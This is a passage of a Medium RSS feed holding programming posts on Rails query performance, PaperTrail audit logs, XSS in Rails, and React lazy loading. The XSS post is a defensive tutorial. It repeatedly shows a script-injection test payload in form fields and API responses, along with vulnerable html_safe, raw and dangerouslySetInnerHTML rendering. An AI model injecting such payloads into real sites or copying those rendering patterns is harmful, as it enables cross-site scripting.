<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Saniya Chaudhari on Medium]]></title>
        <description><![CDATA[Stories by Saniya Chaudhari on Medium]]></description>
        <link>https://medium.com/@saniyachaudhari07?source=rss-76ccfd99221b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*OjfwbR82eBnlmet6BuY0ew.jpeg</url>
            <title>Stories by Saniya Chaudhari on Medium</title>
            <link>https://medium.com/@saniyachaudhari07?source=rss-76ccfd99221b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 06:42:21 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@saniyachaudhari07/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[exists? vs any? vs present?: The Rails Trio Quietly Eating Your Database]]></title>
            <link>https://medium.com/@saniyachaudhari07/exists-vs-any-vs-present-the-rails-trio-quietly-eating-your-database-69a57d7bbb2b?source=rss-76ccfd99221b------2</link>
            <guid isPermaLink="false">https://medium.com/p/69a57d7bbb2b</guid>
            <category><![CDATA[backend]]></category>
            <category><![CDATA[ruby-on-rails]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[ruby]]></category>
            <category><![CDATA[performance]]></category>
            <dc:creator><![CDATA[Saniya Chaudhari]]></dc:creator>
            <pubDate>Wed, 18 Nov 2026 06:08:49 GMT</pubDate>
            <atom:updated>2026-11-18T06:08:49.573Z</atom:updated>
            <content:encoded><![CDATA[<h3>The problem: a red dot that slowed down production</h3><p>It starts with a harmless line in the navbar:</p><pre>&lt;% if current_user.notifications.present? %&gt;<br>  &lt;span class=&quot;badge&quot;&gt;!&lt;/span&gt;<br>&lt;% end %&gt;</pre><p>It works in development, passes code review, and ships. Months later:</p><ul><li>Pages that loaded in 200ms now take 3 seconds.</li><li>Server memory climbs and workers get killed for using too much of it.</li><li>Database CPU spikes during peak hours.</li><li>Support tickets say, “The app is slow only for some users.”</li></ul><p>Those “some users” are your power users, with 50,000 notifications each. And because the navbar renders on <strong>every page</strong>, every click triggers the problem again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*dlICYfkWk4Y4Sa4n0S6Qvw.png" /><figcaption><em>It’s just a red dot.</em></figcaption></figure><h3>What is actually happening?</h3><p>The SQL behind that one line:</p><pre>SELECT &quot;notifications&quot;.* FROM &quot;notifications&quot; WHERE &quot;notifications&quot;.&quot;user_id&quot; = 42</pre><p>To answer a yes/no question, Rails:</p><ol><li>Asks the database for all 50,000 rows.</li><li>Sends every column of every row over the network.</li><li>Builds 50,000 ActiveRecord objects in memory.</li><li>Checks whether the array is empty, then throws the objects away.</li></ol><p>You pay for this in database work, network transfer, Ruby memory, and garbage collection, on every request.</p><h4>Why present? does this: meet blank?</h4><p>present? is defined as !blank?. On an ActiveRecord relation, blank? is delegated to the loaded records, so calling it on an <strong>unloaded</strong> relation loads every matching record first, then checks whether the resulting array is empty.</p><pre>user.notifications.blank?    # loads all records, then checks the array<br>user.notifications.present?  # same, just negated</pre><p>For strings, arrays, and single objects, present? is perfectly fine. The trap is using it on a relation you haven’t loaded yet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oZxxrEoXUsHK-IAOTYI5uw.png" /></figure><h3>The solution: ask the database only what you need</h3><pre>&lt;% if current_user.notifications.exists? %&gt;<br>  &lt;span class=&quot;badge&quot;&gt;!&lt;/span&gt;<br>&lt;% end %&gt;</pre><pre>SELECT 1 AS one FROM &quot;notifications&quot; WHERE &quot;notifications&quot;.&quot;user_id&quot; = 42 LIMIT 1</pre><p>The database only has to find <strong>one</strong> matching row and stop. No records are returned and no ActiveRecord objects are built. How fast it finds that row depends on indexes and the query plan, which we cover below.</p><h3>Meet the suspects</h3><p>Here is how each method behaves, first on an <strong>unloaded</strong> relation (you haven’t fetched records yet) and then on an <strong>already-loaded</strong> relation (records are in memory).</p><p><strong>1. </strong><strong>exists?</strong></p><ul><li>Unloaded: runs SELECT 1 ... LIMIT 1.</li><li>Loaded: still runs a brand-new query and ignores the records in memory.</li></ul><p>It is the most direct yes/no check, and it also takes conditions: User.exists?(email: &quot;me@example.com&quot;).</p><p><strong>2. </strong><strong>any?</strong></p><ul><li>Unloaded: runs SELECT 1 ... LIMIT 1.</li><li>Loaded: no query, checks memory.</li></ul><p>Without a block, any? behaves like !empty?. It is cheap on an unloaded relation and free on a loaded one. With a block, Rails loads everything and runs Ruby&#39;s any?:</p><pre># Bad: loads every active user, then filters in Ruby<br>User.where(active: true).any? { |u| u.admin? }</pre><pre># Good: the database does the filtering<br>User.where(active: true, admin: true).exists?</pre><p><strong>3. </strong><strong>empty?</strong></p><ul><li>Unloaded: runs SELECT 1 ... LIMIT 1 and negates the result.</li><li>Loaded: no query, checks memory.</li></ul><p>empty? is the opposite of any? and just as smart. It reads naturally for &quot;show this only when there&#39;s nothing&quot;:</p><pre>&lt;% if current_user.notifications.empty? %&gt;<br>  &lt;p&gt;You&#39;re all caught up!&lt;/p&gt;<br>&lt;% end %&gt;</pre><p><strong>4. </strong><strong>present? / </strong><strong>blank?</strong></p><ul><li>Unloaded: runs SELECT * and loads all records.</li><li>Loaded: no query, checks memory.</li></ul><p>present? is fine for strings and single objects, but on an unloaded relation it is a full fetch.</p><p><strong>5. </strong><strong>any? { block }</strong></p><ul><li>Unloaded: runs SELECT * and loads all records.</li><li>Loaded: no query, checks memory.</li></ul><p><strong>6. </strong><strong>count &gt; 0</strong></p><ul><li>Unloaded: runs SELECT COUNT(*).</li><li>Loaded: still runs a COUNT query.</li></ul><p><strong>7. </strong><strong>size</strong></p><ul><li>Unloaded: runs SELECT COUNT(*).</li><li>Loaded: no query, uses the loaded length.</li></ul><h3>The twist: when the relation is already loaded</h3><pre>users = User.where(active: true).load   # one query, records in memory</pre><pre>users.any?      # no query<br>users.empty?    # no query<br>users.present?  # no query<br>users.exists?   # runs a NEW query, ignoring what you loaded</pre><p>So the right choice depends on what happens next:</p><pre># Only need yes/no? Use exists?<br>show_badge = current_user.notifications.exists?</pre><pre># Need the records anyway? Load once, then check<br>@posts = Post.published.limit(20)<br>if @posts.present?<br>  @posts.each { |p| render p }<br>end</pre><h3>Indexing: how exists? stays fast</h3><p>exists? can stop at the first match, but the database still has to <em>find</em> that match. Without an index on user_id, PostgreSQL may have to scan the notifications table row by row. This hurts most for users with <strong>no</strong> notifications: there is no first match to stop at, so the scan covers the whole table.</p><p>With an index, the database jumps straight to that user’s rows and answers almost immediately.</p><pre>class AddIndexToNotificationsOnUserId &lt; ActiveRecord::Migration[7.1]<br>  def change<br>    add_index :notifications, :user_id<br>  end<br>end</pre><p>Note that t.references :user and belongs_to in migrations create this index by default, but older tables and hand-written migrations often lack it. If your badge only counts <strong>unread</strong> notifications, a composite or partial index fits the query better:</p><pre>add_index :notifications, [:user_id, :read_at]</pre><pre># or a PostgreSQL partial index covering only unread rows<br>add_index :notifications, :user_id, where: &quot;read_at IS NULL&quot;, name: &quot;index_notifications_on_user_id_unread&quot;</pre><p>Verify with EXPLAIN ANALYZE:</p><pre>puts current_user.notifications.where(read_at: nil).limit(1).explain(:analyze)</pre><p>Look for an <strong>Index Scan</strong> or <strong>Index Only Scan</strong> rather than a <strong>Seq Scan</strong>. So the full picture is: exists? limits the work to one row, and the index makes finding that row cheap.</p><h3>It’s still a query every time: cache hot spots</h3><p>exists? is efficient, but it’s still a database round trip on every request. For something rendered on every page, like a navbar badge, that adds up across thousands of requests per minute.</p><p>A few options:</p><pre># 1. Short-lived cache<br>def has_notifications?<br>  Rails.cache.fetch([&quot;has-notifications&quot;, id], expires_in: 1.minute) do<br>    notifications.exists?<br>  end<br>end</pre><pre># 2. Expire the key when data changes, instead of waiting for the timeout<br>class Notification &lt; ApplicationRecord<br>  after_commit { Rails.cache.delete([&quot;has-notifications&quot;, user_id]) }<br>end</pre><ul><li><strong>Counter cache or a boolean/integer column</strong> (for example unread_notifications_count on users) turns the check into a plain attribute read.</li><li><strong>Fragment caching</strong> the navbar badge avoids both the query and the rendering work.</li></ul><p>Pick based on how fresh the badge must be. A 1-minute delay is fine for most apps, while a chat app might need instant invalidation.</p><h3>How to avoid this in production</h3><ol><li><strong>Ask one question before writing any check on a relation:</strong> “Do I need the data, or just the answer?”</li><li><strong>Add it to your code review checklist.</strong> Flag .present?, .blank? or .length on unloaded relations, .any? { } blocks on relations, .count &gt; 0, and find_by(...).present? used only to test existence.</li><li><strong>Watch your development logs.</strong> SELECT &quot;table&quot;.* where you only needed a yes/no is the red flag. exists? shows up as SELECT 1 AS one ... LIMIT 1.</li><li><strong>Profile real pages</strong> with rack-mini-profiler and bullet, especially shared partials like navbars and sidebars.</li><li><strong>Test with realistic data.</strong> Seed staging with thousands of rows per user. This bug is invisible with 5 records.</li><li><strong>Monitor production.</strong> Use an APM tool (Scout, New Relic, Datadog, Skylight) and PostgreSQL’s slow query log to catch rising response times or memory per request.</li></ol><h3>Quick decision guide</h3><pre>Do I need the records afterwards?<br>├── Yes → load once, then use present? / any? / empty? / each<br>└── No  → exists? (or empty? / any?)<br><br>Do I need a count?<br>├── Just the number → size / count<br>└── Just &quot;is it zero?&quot; → exists? / empty?<br>Am I writing any? { block } on a relation?<br>└── Move the condition into where(...) and use exists?<br>Is the check rendered on every page?<br>└── Make sure it&#39;s indexed, then consider caching it</pre><h3>Conclusion</h3><p>A single innocent-looking present? can load tens of thousands of rows on every page view, and it only shows up once your data grows. The fix is small: use exists?, any?, or empty? when you only need an answer, back the query with the right index, and cache anything that runs on every request. The bigger lesson is to <strong>know what SQL your Ruby is generating.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=69a57d7bbb2b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Who Changed This Record? Audit Trails in Rails with PaperTrail]]></title>
            <link>https://medium.com/@saniyachaudhari07/who-changed-this-record-audit-trails-in-rails-with-papertrail-bbd7783d9468?source=rss-76ccfd99221b------2</link>
            <guid isPermaLink="false">https://medium.com/p/bbd7783d9468</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[database]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[ruby]]></category>
            <category><![CDATA[ruby-on-rails]]></category>
            <dc:creator><![CDATA[Saniya Chaudhari]]></dc:creator>
            <pubDate>Sun, 25 Oct 2026 06:42:57 GMT</pubDate>
            <atom:updated>2026-10-25T06:42:57.387Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Who changed it, what was it before, and the callback trap that can leave you blind.</em></p><p>It’s Friday, 5 PM. An order’s price just went from ₹4,999 to ₹49. Your manager walks over and asks:</p><p><em>“Who changed this?”</em></p><p>You open the Rails console and stare at the screen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mk64ucwdpfCNgU8HcC9A9Q.jpeg" /><figcaption>Me, when production data changes and there is no audit log</figcaption></figure><p>This is exactly the moment you wish you had PaperTrail. It is a gem that remembers every change to your records: who made it, when, and what the value was before. Setup takes five minutes. The traps take a bit longer, so we will cover those too.</p><h3>What PaperTrail actually does</h3><p>Every time a tracked record is created, updated, or destroyed, PaperTrail saves a row in a versions table. Think of it as Git history for your database rows.</p><h3>Setup in three commands</h3><pre>bundle add paper_trail<br>rails generate paper_trail:install --with-changes<br>rails db:migrate</pre><p>Then add one line to your model:</p><pre>class Order &lt; ApplicationRecord<br>  has_paper_trail<br>end</pre><p><strong>Pro tip:</strong> if you use PostgreSQL, change the object and object_changes columns to jsonb in the generated migration <em>before</em> you run it. Your history becomes queryable instead of locked in YAML.</p><h3>Time travel in two lines</h3><pre>order.update!(price: 49)<br>order.versions.last.changeset    # =&gt; { &#39;price&#39; =&gt; [4999, 49] }<br>order.versions.last.reify.save!  # undo: restores the old price</pre><p>reify rebuilds the record as it was <em>before</em> that change. It also brings back deleted records. And the undo is saved as a new version, so even your undo can be undone.</p><h3>Who did it? (whodunnit)</h3><p>Out of the box, PaperTrail does not know who is logged in. A few lines in your controller fix that:</p><pre>before_action :set_paper_trail_whodunnit<br><br>def user_for_paper_trail<br>  current_user&amp;.id&amp;.to_s<br>end</pre><p>For background jobs, set a label like system:expire_orders_job with PaperTrail.request(whodunnit: ...), so you can tell robots from humans. You can also store the IP address and a change reason as extra columns.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/281/1*54HCsKZ86OQIDx3fxLoc8A.png" /><figcaption>Me, finding out the “whodunnit” in the versions table was me, three weeks ago.</figcaption></figure><h3>Do not track everything</h3><p>A counter that changes on every page view will bury your table. Be picky:</p><pre>has_paper_trail ignore: [:view_count], skip: [:api_token]</pre><ul><li>ignore: changes to this field alone create no version.</li><li>skip: this field is never stored. Use it for passwords, tokens, and personal data.</li><li>only: track just these fields.</li></ul><h3>The trap everybody falls into</h3><p>PaperTrail works through Active Record callbacks. If a method skips callbacks, it skips PaperTrail too:</p><ul><li>save, update, destroy: version created</li><li>update_column(s), update_all: no version</li><li>delete_all, insert_all, upsert_all: no version</li><li>Raw SQL or another service writing to the DB: no version</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iVjEwPEKV7437jm4r3yxsQ.png" /></figure><p>The fix: treat update_all on audited models as a code review red flag, loop with find_each and update! when history matters, or use database triggers (the Logidze gem) if you need to catch every write.</p><h3>Keep the versions table from exploding</h3><p>An audit table only grows. A few habits keep it healthy:</p><ul><li>Add an index on created_at so cleanup and date queries stay fast.</li><li>Cap history per record with has_paper_trail limit: 20.</li><li>Delete or archive versions older than a year or two on a schedule.</li><li>Wrap bulk imports in PaperTrail.request(enabled: false).</li><li>Keep personal data out of versions, so privacy rules like GDPR do not bite you later.</li></ul><h3>Should you use it?</h3><p><strong>Yes</strong>, if you want history plus undo, and most writes go through Active Record.</p><p><strong>Look elsewhere</strong> if many services or raw SQL write to your database (try Logidze), or you need a tamper-proof log for strict compliance.</p><h3>Quick recap</h3><ol><li>Use jsonb columns so history is queryable.</li><li>Always record the who, with whodunnit.</li><li>Track less: ignore, skip, and only are your friends.</li><li>update_all and friends are invisible to PaperTrail.</li><li>Plan indexes and retention before the table hits millions of rows.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bbd7783d9468" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[I Thought My Rails App Was Secure — Until I Tested It for XSS]]></title>
            <link>https://medium.com/@saniyachaudhari07/i-thought-my-rails-app-was-secure-until-i-tested-it-for-xss-3bebd51074fc?source=rss-76ccfd99221b------2</link>
            <guid isPermaLink="false">https://medium.com/p/3bebd51074fc</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[ruby-on-rails]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[Saniya Chaudhari]]></dc:creator>
            <pubDate>Sun, 27 Sep 2026 17:27:48 GMT</pubDate>
            <atom:updated>2026-10-07T11:01:45.040Z</atom:updated>
            <content:encoded><![CDATA[<p>When building a Rails application, it is easy to assume that XSS is already taken care of.</p><p>Rails automatically escapes HTML in views and provides helpers for handling potentially unsafe content. So when I first started investigating XSS in a Rails application, I had a simple question:</p><blockquote><em>“If Rails escapes HTML automatically, how can XSS still happen?”</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*UimDBEagp4736CfY8nWpig.png" /><figcaption>Rails has security defaults. Developers also have html_safe.</figcaption></figure><p>The answer is simple: <strong>Rails can protect you by default, but that protection depends on how the data is rendered.</strong></p><p>A value can travel through several layers:</p><pre>User Input<br>    ↓<br>API<br>    ↓<br>Database<br>    ↓<br>Frontend<br>    ↓<br>Browser</pre><p>Storing a potentially dangerous value in the database is not, by itself, an XSS vulnerability.</p><p>The real problem occurs when <strong>untrusted data reaches the browser and is interpreted as HTML instead of plain text</strong>.</p><p>In this post, I’ll walk through how XSS can happen in a Rails application, what html_safe, raw, sanitize, and CGI.escapeHTML actually do, and how to trace an XSS issue from user input all the way to the browser.</p><h3>What is XSS?</h3><p><strong>Cross-Site Scripting (XSS)</strong> is a vulnerability where attacker-controlled data is interpreted by the browser as executable content instead of normal text.</p><p>For example, imagine a project creation form:</p><pre>Project Name:<br>My New Project</pre><p>Everything looks normal.</p><p>But someone enters:</p><pre>&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;</pre><p>If the application later renders this value as HTML without appropriate escaping or sanitization, the browser may interpret the injected markup and execute the JavaScript.</p><p>The important part is not simply that the value contains &lt;script&gt;.</p><p>The real question is:</p><blockquote><strong><em>What happens when that value reaches the browser?</em></strong></blockquote><p>This is why XSS is best understood as a <strong>data-flow and rendering problem</strong>, not just a malicious-input problem.</p><h3>But Isn’t Rails Supposed to Prevent XSS?</h3><p>Yes. Rails provides automatic HTML escaping when values are rendered using normal ERB output.</p><p>For example:</p><pre>&lt;%= project.name %&gt;</pre><p>If project.name contains:</p><pre>&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;</pre><p>Rails escapes the HTML-sensitive characters so the value is displayed as text rather than being interpreted as HTML.</p><p>This is one of Rails’ important security protections.</p><p>But Rails cannot protect you if you explicitly tell it:</p><blockquote><em>“This content is safe HTML.”</em></blockquote><p>That’s where methods such as html_safe and helpers such as raw become important.</p><h3>Let’s Test It</h3><p>Suppose our application allows users to create projects.</p><p>A user enters:</p><pre>&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;</pre><p>The value is stored in the database.</p><p>At first, that looks like a problem.</p><h3>The Plot Twist: The Database Wasn&#39;t the Problem</h3><p>Finding a &lt;script&gt; tag in the database does <strong>not</strong> mean XSS has occurred.</p><p>A database can safely store the string as data. The real question is:</p><blockquote><strong><em>What happens when that value is rendered?</em></strong></blockquote><p>For example:</p><pre>&lt;%= project.name.html_safe %&gt;</pre><p>Here, Rails is being told to treat the value as trusted HTML.</p><p>If project.name contains untrusted content, the browser may interpret the injected markup as HTML and potentially execute the JavaScript.</p><p>So instead of stopping at the database, trace the value through the application:</p><pre>Input<br>  ↓<br>Controller<br>  ↓<br>Database<br>  ↓<br>API Response<br>  ↓<br>Frontend<br>  ↓<br>DOM<br>  ↓<br>Browser</pre><p>The important point is to find <strong>where untrusted data becomes HTML</strong>.</p><p>That is where the real XSS risk begins.html_safe — What Could Go Wrong?</p><h3>html_safe — What Could Go Wrong?</h3><p>html_safe does not sanitize content or make unsafe content safe.</p><p>It tells Rails to treat the string as already-safe HTML.</p><p>For example:</p><pre>&quot;&lt;strong&gt;Hello&lt;/strong&gt;&quot;.html_safe</pre><p>allows the &lt;strong&gt; tag to be rendered as HTML.</p><p>The problem occurs when the content is not actually trusted:</p><pre>project.name.html_safe</pre><p>If project.name comes from a user or another untrusted source, you have bypassed Rails&#39; normal escaping.</p><p>The same concern applies to:</p><pre>&lt;%= raw project.name %&gt;</pre><p>These should not be used blindly with user-controlled content.</p><p>A simple rule is:</p><blockquote><strong><em>Do not mark untrusted content as safe HTML.</em></strong></blockquote><p>Before using html_safe, ask:</p><blockquote><strong><em>Where did this value come from?</em></strong></blockquote><p>If it came from a user, API request, imported file, external service, or another untrusted source, it should not automatically be treated as trusted HTML.</p><h3>How to Handle XSS in Rails</h3><p>The right solution depends on how the application is expected to use the data.</p><h3>If the value should be plain text</h3><p>Let Rails escape it automatically:</p><pre>&lt;%= project.name %&gt;</pre><p>Avoid doing this with untrusted content:</p><pre>&lt;%= project.name.html_safe %&gt;</pre><p>or:</p><pre>&lt;%= raw project.name %&gt;</pre><h3>If HTML is intentionally allowed</h3><p>Some applications need to support HTML, such as rich-text content.</p><p>In that case, sanitize the content before rendering it:</p><pre>&lt;%= sanitize(user_content) %&gt;</pre><p>This allows permitted formatting while restricting unsafe HTML.</p><p>The distinction is simple:</p><pre>Plain text<br>    ↓<br>Escape</pre><pre>HTML is intentionally allowed<br>    ↓<br>Sanitize</pre><p>For example, a project name containing:</p><pre>&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;</pre><p>should normally be displayed as text.</p><p>A rich-text field containing:</p><pre>&lt;strong&gt;Hello&lt;/strong&gt;<br>&lt;p&gt;Welcome&lt;/p&gt;</pre><p>may need sanitization because HTML formatting is intentionally supported.</p><h3>What About CGI.escapeHTML?</h3><p>CGI.escapeHTML can be useful when explicit HTML escaping is needed in Ruby code:</p><pre>CGI.escapeHTML(value)</pre><p>But in a normal Rails view, you generally don’t need to manually call it because:</p><pre>&lt;%= value %&gt;</pre><p>already performs HTML escaping.</p><p>The goal is not to escape or sanitize everything blindly.</p><p>The goal is to make sure <strong>untrusted data is never treated as trusted HTML</strong>.</p><h3>What About APIs?</h3><p>This is where XSS investigations can become confusing.</p><p>Imagine the backend returns:</p><pre>{<br>  &quot;name&quot;: &quot;&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;&quot;<br>}</pre><p>The API has returned data. That does not automatically mean the API itself has an XSS vulnerability.</p><p>What matters is how the frontend uses that data.</p><p>For example, React normally treats this as text:</p><pre>&lt;div&gt;{project.name}&lt;/div&gt;</pre><p>But this tells React to interpret the value as HTML:</p><pre>&lt;div dangerouslySetInnerHTML={{ __html: project.name }} /&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IYC71pokcmckuvYS-3m8BA.png" /></figure><p>If project.name is untrusted, this can create an XSS vulnerability.</p><p>So when an API returns potentially dangerous content, don’t stop the investigation at the API response.</p><p>Ask:</p><blockquote><strong><em>How is this value eventually rendered?</em></strong></blockquote><p>The security issue may exist at the point where data is converted into HTML.</p><h3>The XSS Investigation Flow</h3><p>When investigating an XSS issue, trace the value from its source to the browser.</p><h3>1. Find the Input</h3><p>Identify where the value comes from.</p><p>For example:</p><pre>Project Name<br>Description<br>Comment<br>Lead Name</pre><p>Use a harmless test value first, followed by a controlled XSS payload in a development or test environment.</p><h3>2. Check the Backend</h3><p>Find where the value is received and stored:</p><pre>Controller<br>    ↓<br>Model<br>    ↓<br>Database</pre><p>Don’t assume that storing &lt; or &gt; in the database is itself a vulnerability.</p><p>The database can safely contain such characters. The important question is what happens when the value is rendered.</p><h3>3. Check the API</h3><p>If the value is returned through an API, inspect the response:</p><pre>{<br>  &quot;name&quot;: &quot;&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;&quot;<br>}</pre><p>At this stage, determine whether the API is simply returning data or transforming it into HTML.</p><h3>4. Check the Frontend</h3><p>Find where the value is rendered.</p><p>In React, for example:</p><pre>{project.name}</pre><p>and:</p><pre>dangerouslySetInnerHTML</pre><p>have very different security implications.</p><p>Also check other frontend code that may insert strings into the DOM as HTML.</p><h3>5. Check the Browser</h3><p>Finally, inspect what the browser actually receives and interprets.</p><p>The important transition is:</p><pre>Untrusted Data<br>      ↓<br>HTML<br>      ↓<br>Executable Content</pre><p>That’s where an XSS vulnerability becomes visible.</p><h3>Testing the Fix</h3><p>After applying the fix, test the complete flow again with a controlled payload:</p><pre>&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;</pre><p>Verify that:</p><ul><li>The value can still be submitted and stored if required.</li><li>The API returns the expected data.</li><li>The frontend displays the value as text when HTML is not intended.</li><li>No JavaScript is executed.</li><li>Existing legitimate data continues to work.</li></ul><p>Also test every place where the same value is rendered.</p><p>For example:</p><pre>Project List<br>Lead Details<br>Activity<br>Reports<br>Edit Project<br>Tooltip</pre><p>Fixing one rendering location does not necessarily fix the same issue elsewhere.</p><h3>Conclusion</h3><p>XSS isn’t just about finding &lt;script&gt; in a database. The real question is <strong>how untrusted data is rendered in the browser</strong>.</p><p>Rails provides strong protection by default, but using html_safe, raw, or unsafe HTML rendering can bypass it.</p><p>Remember:</p><ul><li>Let Rails escape normal text.</li><li>Sanitize HTML when it’s intentionally allowed.</li><li>Be careful with html_safe and raw.</li><li>Follow untrusted data from input to browser.</li></ul><p><strong>The payload isn’t the whole story. The data flow is.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3bebd51074fc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lazy Loading in React: A Practical Guide to Building Faster Applications]]></title>
            <link>https://medium.com/@saniyachaudhari07/lazy-loading-in-react-a-practical-guide-to-building-faster-applications-c079de60864b?source=rss-76ccfd99221b------2</link>
            <guid isPermaLink="false">https://medium.com/p/c079de60864b</guid>
            <category><![CDATA[frontend-development]]></category>
            <category><![CDATA[react]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[web-performance]]></category>
            <dc:creator><![CDATA[Saniya Chaudhari]]></dc:creator>
            <pubDate>Sun, 09 Aug 2026 12:49:50 GMT</pubDate>
            <atom:updated>2026-08-09T12:49:50.544Z</atom:updated>
            <content:encoded><![CDATA[<p>Modern web applications are becoming larger and more feature-rich. As the number of pages, components, libraries, and features increases, the amount of JavaScript that needs to be downloaded by the browser also increases.</p><p>If an application loads everything when it starts, users may end up downloading code for features they never use.</p><p>This is where <strong>lazy loading</strong> becomes useful.</p><p>Lazy loading allows us to load a component, page, or resource only when it is actually needed. In React applications, lazy loading is commonly used together with <strong>code splitting</strong> to reduce the initial JavaScript bundle and improve application performance.</p><p>In this article, we’ll understand what lazy loading is, how it works in React, how to implement it, and when we should or shouldn’t use it.</p><h3>What Is Lazy Loading?</h3><p>Lazy loading is a performance optimization technique where resources are loaded only when they are required instead of loading everything upfront.</p><p>Consider an application with the following pages:</p><pre>Application<br>│<br>├── Dashboard<br>├── Users<br>├── Orders<br>├── Reports<br>├── Settings<br>└── Admin</pre><p>Without lazy loading, the application may load JavaScript required for all these pages when the user first opens the application.</p><p>But imagine a user only needs the Dashboard.</p><p>Why should the browser download the code required for Reports, Settings, and Admin?</p><p>With lazy loading, we can load only the code required for the current page and load other features when the user actually needs them.</p><h3>Without Lazy Loading</h3><pre>User opens application<br>        ↓<br>Download all JavaScript<br>        ↓<br>Dashboard<br>Users<br>Orders<br>Reports<br>Settings<br>Admin<br>        ↓<br>Application becomes ready</pre><h3>With Lazy Loading</h3><pre>User opens application<br>        ↓<br>Download initial JavaScript<br>        ↓<br>Dashboard is loaded<br>        ↓<br>User opens Reports<br>        ↓<br>Reports JavaScript is downloaded</pre><p>This can significantly reduce the amount of JavaScript required during the initial page load.</p><h3>Why Is Lazy Loading Important?</h3><p>As an application grows, its JavaScript bundle can become large.</p><p>A large initial bundle can result in:</p><ul><li>Longer download times</li><li>More JavaScript parsing and execution</li><li>Slower initial rendering</li><li>Higher memory usage</li><li>Poor experience on slower networks and devices</li></ul><p>Lazy loading helps by moving some of that work from the initial page load to the moment when the feature is actually required.</p><p>The goal isn’t simply to make the application smaller.</p><p>The goal is to <strong>load the right amount of code at the right time</strong>.</p><h3>Lazy Loading in React</h3><p>React provides lazy() for loading components dynamically.</p><p>Instead of importing a component normally:</p><pre>import Dashboard from &quot;./Dashboard&quot;;</pre><p>we can load it lazily:</p><pre>import { lazy } from &quot;react&quot;;</pre><pre>const Dashboard = lazy(() =&gt; import(&quot;./Dashboard&quot;));</pre><p>Here, import() is a dynamic import.</p><p>Instead of including Dashboard in the initial JavaScript bundle, the bundler can place it in a separate chunk that can be downloaded when required.</p><h3>Using Suspense with Lazy Loading</h3><p>A lazy-loaded component may take some time to download.</p><p>React provides Suspense to display a fallback UI while the component is loading.</p><pre>import { lazy, Suspense } from &quot;react&quot;;</pre><pre>const Dashboard = lazy(() =&gt; import(&quot;./Dashboard&quot;));</pre><pre>function App() {<br>  return (<br>    &lt;Suspense fallback={&lt;div&gt;Loading...&lt;/div&gt;}&gt;<br>      &lt;Dashboard /&gt;<br>    &lt;/Suspense&gt;<br>  );<br>}</pre><p>When Dashboard is being downloaded, the user sees:</p><pre>Loading...</pre><p>Once the component is available, React renders the Dashboard.</p><p>The flow looks like this:</p><pre>Render Dashboard<br>       ↓<br>Is Dashboard loaded?<br>       ↓<br>      No<br>       ↓<br>Show fallback<br>       ↓<br>Download Dashboard chunk<br>       ↓<br>Dashboard loaded<br>       ↓<br>Render Dashboard</pre><h3>Lazy Loading Routes</h3><p>One of the most useful places to implement lazy loading is at the <strong>route level</strong>.</p><p>Consider an application with multiple pages:</p><pre>import Dashboard from &quot;./pages/Dashboard&quot;;<br>import Users from &quot;./pages/Users&quot;;<br>import Reports from &quot;./pages/Reports&quot;;<br>import Settings from &quot;./pages/Settings&quot;;</pre><p>All these pages are imported immediately.</p><p>Instead, we can use lazy loading:</p><pre>import { lazy, Suspense } from &quot;react&quot;;<br><br>const Dashboard = lazy(() =&gt; import(&quot;./pages/Dashboard&quot;));<br>const Users = lazy(() =&gt; import(&quot;./pages/Users&quot;));<br>const Reports = lazy(() =&gt; import(&quot;./pages/Reports&quot;));<br>const Settings = lazy(() =&gt; import(&quot;./pages/Settings&quot;));</pre><p>Then use them with React Router:</p><pre>&lt;Suspense fallback={&lt;div&gt;Loading...&lt;/div&gt;}&gt;<br>  &lt;Routes&gt;<br>    &lt;Route path=&quot;/dashboard&quot; element={&lt;Dashboard /&gt;} /&gt;<br>    &lt;Route path=&quot;/users&quot; element={&lt;Users /&gt;} /&gt;<br>    &lt;Route path=&quot;/reports&quot; element={&lt;Reports /&gt;} /&gt;<br>    &lt;Route path=&quot;/settings&quot; 